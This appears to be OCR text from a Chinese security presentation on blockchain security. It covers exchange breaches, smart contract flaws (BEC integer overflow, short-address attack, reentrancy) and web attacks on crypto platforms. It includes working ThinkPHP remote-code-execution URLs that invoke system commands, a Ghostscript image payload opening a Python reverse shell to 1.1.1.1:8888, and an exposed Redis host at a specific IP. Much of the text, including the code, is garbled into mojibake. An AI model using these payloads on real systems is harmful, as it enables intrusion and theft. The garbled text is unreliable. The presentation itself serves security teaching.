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20154 Bitstamp

« 2015518, EXMBHFEHRZFE

Bitstamp, RABEEAWAPTHNEINE, B

HIUTEEX M, SEURKRA500H%E BEFN17%

20145 Mt.Gox

« 2014420, BRMHAE—WNHARSE

Mt.Gox# &, #iKL3.6{2%EE, SHHEKR
WIEE ™

201645F Bitfinex

« 2016E8H, £IKmAEITBTCR 5 FiBitfinex

EWiLFEREERERE, N1275BTCHK

B, MKIA7500FES

20174 Youbite

« 20175128, GEHNFEHRZF A YoubitelE

BERE, NK40000EE, HEATHFES

2018 Coincheck

+ 2018F 1A, HARKNRFEDRGFEZ

—Coincheck, HTFFEAARAEEZEZN T,
KR53 ES



2016 The DAO
- 2016568, JETELUKLS LM The DAOBRESY), BTEY

B, ESEERE, SHIREL0005EE Msg.sender.call.value()

2017 Parity
* 2017%7R, ParityZEERBEEESAOHR, ATFEL09NR Function InltMuItlowned()
MigEHEIR, SEUNRINIERE, SEIRAL30005%EE

2018 BEC
« 2018%F4H, BeautyChaintIfXmBEC, HTEHatmE, &
MBEWH, SHETERI0ZER, NME/LFAE

Uint256 amout=uint256(cnt) * _value

2018 SMT
* 2018F4H, SmartMeshBIftHiSMT, RFEHzHFE, =
REEWE, SBURKI .MEE

Balances[_from] - _value + _feeSMT
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- gitERIEE

» svn{E RV ER

- wi X

- memcacheZg1F
- DNSHEj{&i%
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. gitf5)

SOt

http://hybrid.*****.com/.git/config
http://hybrid.*****.com/.git/index

=» hybrid.****.com git:(master) X Is -lh
total O

drwxr-xr-x 22 tank staff 748B 5 15 12:46 general
drwxr-xr-x 20 tank staff 680B 5 15 13:09 wenku

E ]:%:I 1‘|’§(1’-“FJ:1§/)ﬁ'ﬁﬂgetshell )\Ij\] I



@gﬁ@]ﬁ database. php

=

| the query builder class.

74
- N —— $active_group =  default’ ;
* SV”{E /%\ ;.lﬁ E% $query_builder = TRUE;

$db[" default’ ] = arrayf
=> ))}
" =» "localhost’,

"username’ =
‘password =
" database’
"dbdriver’ =
"dbprefix’ = "]
peconnect => TRUE,
"db_debuz’ => (ENVIROMMENT '= 'production’ ),
" cache_on FALSE,
" cachedir” => "7,
! char_set' => "utfg’,
"dbecollat’ => "utfS_general ci’,

2

"swap_pre = 7,
" encrypt’ => FALSE,

" compress => FALSE,
"stricton’ => FALSE,

"failover = array(),

" save_queries =» TRUE




- DNSig{&%

windows:

=¥ nslookup

=» set type=ns

=» honeage.com

=» server ns1.myhostdomain.net
=» |s -d noneage.com

Linux:
=» dig NS noneage.com
=» dig axfr @ns1.myhostdomain.net noneage.com



public class TestActivity
extends AppCompatActivity {
BridgeWebView webView;

@0verride
protected void onCreate(@ullable Bundle bundle) {
super.onCreate(bundle);

this.setContentView(2131427389);
this.webView = (BridgeWehVie 1s.fd iewById(2131296828);
this. 'y .108.80.7:814childQlandPage/reward/share_wechat/56");

this.

@Override

protected void onResume() {
super.onResume();
this.webView.reload();
this.webView.a("finish", new a(){

:~# redis-cli -h 39.108.80.7
39.108.80.7:6379> INFO server
# Server
] ALl redis version:3.0.6
* %Fﬂﬁﬁﬁﬁéﬁﬁg redis:git_shaleOOOOOOO
redis git dirty:0
redis build id:687a2a319020fa42

redis mode:standalone
os:Linux 4.4.0-105-generic x86 64
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Fill in the account name

Login account

The new
password

Confirm
password

E "H "W 2qg.com

Success
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index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=6F80B1b7

http://victim.com/index.php
s=Is&_method=__construct&method=_&filter[]=system
_method=__construct&method=get&filter[]=system&server[ REQUEST_METHOD]=Is

http://victim.com/index.php
c=exec&f=Is& method=filter




| /index.php?s=captcha

favicon.ico index.php robots.txt router.php static

Q @

& c ® & https://wwv; m
B xmmsns @ HiErz B emnn [B sre

/data/lit,m mmy  Emm mmm——/20190104-214445/public

iEEIR! BHEBIL~

TP V5.0.11

x =6 gEla O EEE () #EER O e

v 1 E6H

Encryption + Encoding ~

BEla

R~

/indexphe - ThinkPHP V5.0.23 { +EE—8I-HAPIF RIS MEREIER }

DEfE (I#tmEE QHE ORAE =RE 8 & + TEEHAE @ HackBar

SQL~ XSS ~ Other + Chrome BackBar

@ Load URL

Ah A s i

O

l/index.php?s=captcha

mm mmm/public/index.php/?s=/index/\think\app/invokefur

Linux alae10709e5e 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 GNU/Linux Linux alac10709¢5e 4.15.0-20-
generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 GNU/Linux

ki

F[BES — pa
Encoding~ SQL~ XSS~ Other ~ Chrome EFz 1 =88 2ala

Encryption ~
@ Load URL https://wwv. g .com/index.php Encryption +  Encoding ~
9 split URL
) Load URL
) Exeoute @ Postdata [ Ref User Agent ) Cool
@ Post data eferrer ser Agen 00 B
- g # spiit URL

s=Is & method=__construct&method=_&filter] ]=syst¢

» | Execute

O Wifat

SQL ~

(I RmER Qe CRAE =N 8 Ff + TMEHME @ HackBar 0] e+
XSS + Other + Chrome BackBar Contribute me! HackBar
E'E = =mww/public/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&

vars[0]=systemé&vars[1][]=uname -a




>>>shellexec.jpeg

%!PS

userdict /setpagedevice undef

save

legal

{ null restore } stopped { pop } if

{ legal } stopped { pop } if

restore

mark /OutputFile (Y%opipe%python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.connect(("1.1.1.1",
8888));0s.dup2(s.fileno(),0);0s.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);p=subprocess.all(["/bin/sh","-i"]);") currentdevice
putdeviceprops

=» convert shellexec.jpeg shell.gif
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https://www.victim.com/Scripts/TchartLibraryCoin/charting_library/static/tv-chart.
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* Redis

- Mongodb

« CouchDB

- Memcache

* Elasticsearch

- Jenkins

* Struts2

* Docker Remote API
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uint8 integer

1
255 [QJ1[a[1]1[1]1]1}=——p[oJoJoJoJoJo]o]0]o

8bit 8bit

HIE S 27256 - 1 + 120
PR
- SR 2255 *2 =0

R EIERRNT AOE R . https://blog.noneage.com/AKIF B BE S LWIRIEISE /R . BEUE L IRT/
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« BEC BECE Aithiit: 0xC5d105E63711398aF9bbff092d4B6769C82F793D

function batchTransfer address[] _receivers, uint256 _value ) public whenNotPaused returns ‘bool {
uint cnt = _receivers.length;

uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);

balances[msg.sender] = balances[msg.sender].sub(amount);
for (uinti=0;i<cnt;i++){
balances|_receivers]i]] = balances|_receivers]i]].add(_value);
Transfer(msg.sender, _receivers]i], _value);

}

return true;

}




TxHash: Oxad89ff16fd1ebe3ala7cf4ded282302c06626c1af33221ebe0d3ad470abadab60f

TxReceipt Status: Success

Block Height: 5483643 (1590743 Block Confirmations)

TimeStamp: 269 days 2 hrs ago (Apr-22-2018 03:28:52 AM +UTC)

From: 0x09a34e01fbaad9f27b0b129d3c5ebe21ed5fe93c

To: Contract 0xc5d105e63711398af9bbff092d4b6769c821793d (BeautyChainToken) @

Tokens Transfered: From 0x09a34e01fbaad9f... To Oxb4d30cac5124b4... for

{2 ERC-20 Transfers found) 57,896,044,618,658,100,000,000,000,000,000,000,000,000,000,000,000,000,000,000.792003956564819968 * ERC-20 (BEC)

From 0x09a34e01fbaad9f... To 0x0e823ffe0187275... for
57,896,044,618,658,100,000,000,000,000,000,000,000,000,000,000,000,000,000,000.792003956564819968 * ERC-20 (BEC)

Value: 0 Ether ($0.00)
Gas Limit: 76737
Gas Used By Transaction: 76737 (100%)
Gas Price: 0.000000001 Ether {1 Gwei)
Actual Tx Cost/Fee: 0.000076737 Ether ($0.009341)
Nonce & {Position}: 5| {94}
Input Data:
B Name Type Data
0 _receivers address[] b4d30cac5124b46c2df0cf3e3elbe05£42119033
0eB23ffe018727585eaf5bc769fa80472£76c3d7
1 _value uint256 57896044618658097711785492504343953926634992332820282019728792003956564819968
Decoded input inspired by Canoe Solidity
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D TiZEreaNRABERNER S HIE
batchTransfersggZga9535/FtotalAmount +=
amountsli], IEEFIAILEERERETokeniEm
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TxHash: 0x6898846b762aefcdb99d077212bed5e02fd40187dfe21f1070ec8f96b4a7e0da

TxReceipt Status: Success

Block Height: 6956923 (118699 Block Confirmations)

TimeStamp: 20 days 19 hrs ago {Dec-26-2018 03:23:24 PM +UTC)

From: Oxb1f736f0a47c2f391bb202e488feca199¢c1b6907

Tor Contract 0x82cf44be0768a3600c4bdea58607783a3a7c51ae @

Tokens Transfered: From Oxb1f736f0ad7c2f3... To Ox5aaad8f6734e2e1...for 0.000000000000000002 © ERC-20 (FTN)
{2 ERC-20 Transfers found) From Oxb1f736f0a47c2f3... To Ox8cebae7e954a5a... for

115,792,089,237,316,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000.584007913129639935 © ERC-20 (FTN)

Value: 0 Ether ($0.00)
Gas Limit: 83230
Gas Used By Transaction: 83230 (100%)
Gas Price: 0.000000015 Ether (15 Gwei)
Actual Tx Cost/Fee: 0.00124845 Ether ($0.15)
Nonce & {Position}: 0| {42}
Input Data:
# Name Type Data
0 receivers address|[] 5aaad48f6734e2elc2d7d723£fb9182755c9486704
8cebae7e954a5a95ff02161b83308955ebc832cE
1 amounts uint256[] 2
115792089237316195423570985008687907853269984665640564039457584007913129639935

Decoded input inspired by Canoe Solidity
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- Solidityjg 5% 8
- BEER R REBENED

- FeRBEFRNIEEINF

SHERTHKNIRE

contract FunWithNumbers{
uint constant public tokenPersEth = 10;
uint constant public weiPerEth = 1e18;
mapping(address => uint) public balances;

buyTokens() public payable {

uint tokens = msq.value/weiPerETH * tokensPerEth;
balances[msg.sender] += tokens;

sellTokens(uint tokens) public {
require(balances[msg.sender] >= tokens);
uint eth = tokens/tokensPerEth;
balances[msg.sender] -= tokens;
msg.sender.transfer(eth*weiPerEth);




- (£ SafeMath#l 5l #1TEEE B £HIF
- SEINXIENLE, BRI ATEESLY

- FRERINF, FokiEkR
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transfer3& k<M, B2 R EHE1TIERE MR [EstatusAE Atrue

transfer

Transfers _value amount of tokens to address _to , and MUST fire the Transfer event. The function SHOULD throw if
the _from account balance does not have enough tokens to spend.

Note Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event.

function transfer(address _to, uint256 _value) public returns (bool success)




function transfer(address _to, uint256 _value) public returns (bool success) {
(balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
true;

}else {

false;

function transfer(address _to, uint256 _value) public returns (bool success) {
(_to != address(0));
(balances[msg.sender] >= _value);
(_value > 0);

balances[msg.sender] = balances[msg.sender].sub(_value);
balances|_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);

true;




TxHash:
TxReceipt Status:
Block Height:
TimeStamp:
From:

To:

Value:

Gas Limit:

Gas Used By Transaction:

Gas Price:
Actual Tx Cost/Fee:
Nonce & {Position}:

Input Data:

Ox9fbeebabc7¢20f81938d124af79d27eaBeB566b5e937578ac25fb6c68049f92e

Success

5928337 (1147262 Block Confirmations)

191 days 18 hrs ago (Jul-08-2018 04:57:06 PM +UTC)

Ox0dc22f4caB8d2d3996ffbad0cd71d2ea527433b0d

Contract Oxcb97e65f07da24d46bcdd078ebebd7c6e6e3d750 (Bytom) ®

A ERC-20 Token Transfer Error (Unable to locate Corresponding Transfer Event Logs), Check with Sender. i

0 Ether ($0.00)

24248

24248 (100%)

0.000000014 Ether (14 Gwei)

0.000339472 Ether ($0.04)

32 | {45}
4 Name Type Data
0 _to address 8bad2bee095e3bbal7f8760£5b578cd76fedc5ee
1 _value uint256 999999999999999999999999

Decoded input inspired by Canoce S
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EVMEBMWERBITSANF TN, KEEABINENX, MMEIRINE N FEMATFTREMMAMS
—HXERC-20 TOKEN#NERI m#l s transfer5i%, X 1A AEERC-20REFHEN N

transfer(address to, uint tokens) public returns (bool success);

E—ZNERAMBNMIE, E-1TSHE RiEtokenI VI E,

\

MK ABIZRASFISE :
https://solidity.readthedocs.io/en/latest/abi-spec.html#examples
https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI




transfer(address _to, uint256 _amount) {
require(balances[msg.sender] > _amount);
balances[msg.sender] -= _amount;
balances[_to] += _amount;

}

S A 1E AtransferpR @ E NMtbiib & IZNTERC- 20X AVEHR, RBMinputZiEH A3 ERD

0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)"))
00000000000000000000000062bec9abe373123b9b635b75608f94eb8644163¢e
0000000000000000000000000000000000000000000000000000000000000002




transfer(address _to, uint256 _amount) {
require(balances[msg.sender] > _amount);
balances[msg.sender] -= _amount;
balances[_to] += _amount;

0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)"))
00000000000000000000000062bec9abe373123b9b635b75608f94eb86441600
0000000000000000000000000000000000000000000000000000000000000002




transfer(address _to, uint256 _amount) {
require(balances[msg.sender] > _amount);
balances[msg.sender] -= _amount;
balances[_to] += _amount;

0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)"))
00000000000000000000000062bec9abe373123b9b635b75608f94eb864416
0000000000000000000000000000000000000000000000000000000000000002




transfer(address _to, uint256 _amount) {
require(balances[msg.sender] > _amount);
balances[msg.sender] -= _amount;
balances[_to] += _amount;

0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)"))
00000000000000000000000062bec9abe373123b9b635b75608f94eb86441600
00000000000000000000000000000000000000000000000000000000000002




transfer(address _to, uint256 _amount) {
require(balances[msg.sender] > _amount);
balances[msg.sender] -= _amount;
balances[_to] += _amount;

0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)"))
00000000000000000000000062bec9abe373123b9b635b75608f94eb86441600
00000000000000000000000000000000000000000000000000000000000002

Event Name : Transfer
Return Values: from: 0x58bad47711113aea5bc5de02bcebdd7aae55cce5

_to: 0x62bec9abe373123b9b635b75608f94eb864416

_value: 512 [ =» [0X200 = 512




1. BEER— TS RKERN2TOMETHIKSHBtE, EEaIMyLinkToken TR

2. W— TR E, ZEBEtokenfIERTF512, FRXTMEBELAIE2TT

3. RAEBMXITHEFRE2TM, SAXMEEEIKMURIIHRICREM 10X

4. ZHEHWIENEImsg.datadr, RAFRBEAMtransfer5i5, WIRUMRRZMAHIZE
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FEASBOIEAE N\ Hotih 5 BIEOAE =

contract NonPayloadAttackableToken {
onlyPayloadSize(uint size) {
assert(msg.data.length == size + 4);

transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) {
/l do stuff
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- <address>.call(bytes4 selection, )

RiREFR AR

» <address>.call( , argl, arg2, ...)

BytesAJ#%
~<address>.call( )
~<address>.call( )



contract ECEC{
info(bytes data){
this.call(data) ;

secret() public{
(this == msg.sender);
/l secret operations
}
¥

MRS
1. infolR ERAIERIART DL 1% S9public
2. infoR£X R callR XA R ] A Il 22
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BE
F accountl %5 0
account2 £ 0

s 10000
2= tx: accountl1$&5
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s lowmistfuck - floatin gsnow 0 . 0 @ 1 @ E OS (:eosio.token)

MEMO We are always concerned about your operation, our opinion 1is the same as

you, thank you. BAE—BEHEEEIR!

floatingsnow - norealr 1 1.0000 EOS (:eosio.token)

MEMO hi slowmist/peckshield: not only timer-mix random but all in-chain PRNG can
be attack, 1 suggest bl export new apis (get_current_blockid/get_blockhash_by_id)
instead of prefix/num

floatingsnow - dolastattack 0.0001 EOS (:eosio.token)

MEMO EOS can't generate real random number in-chain...
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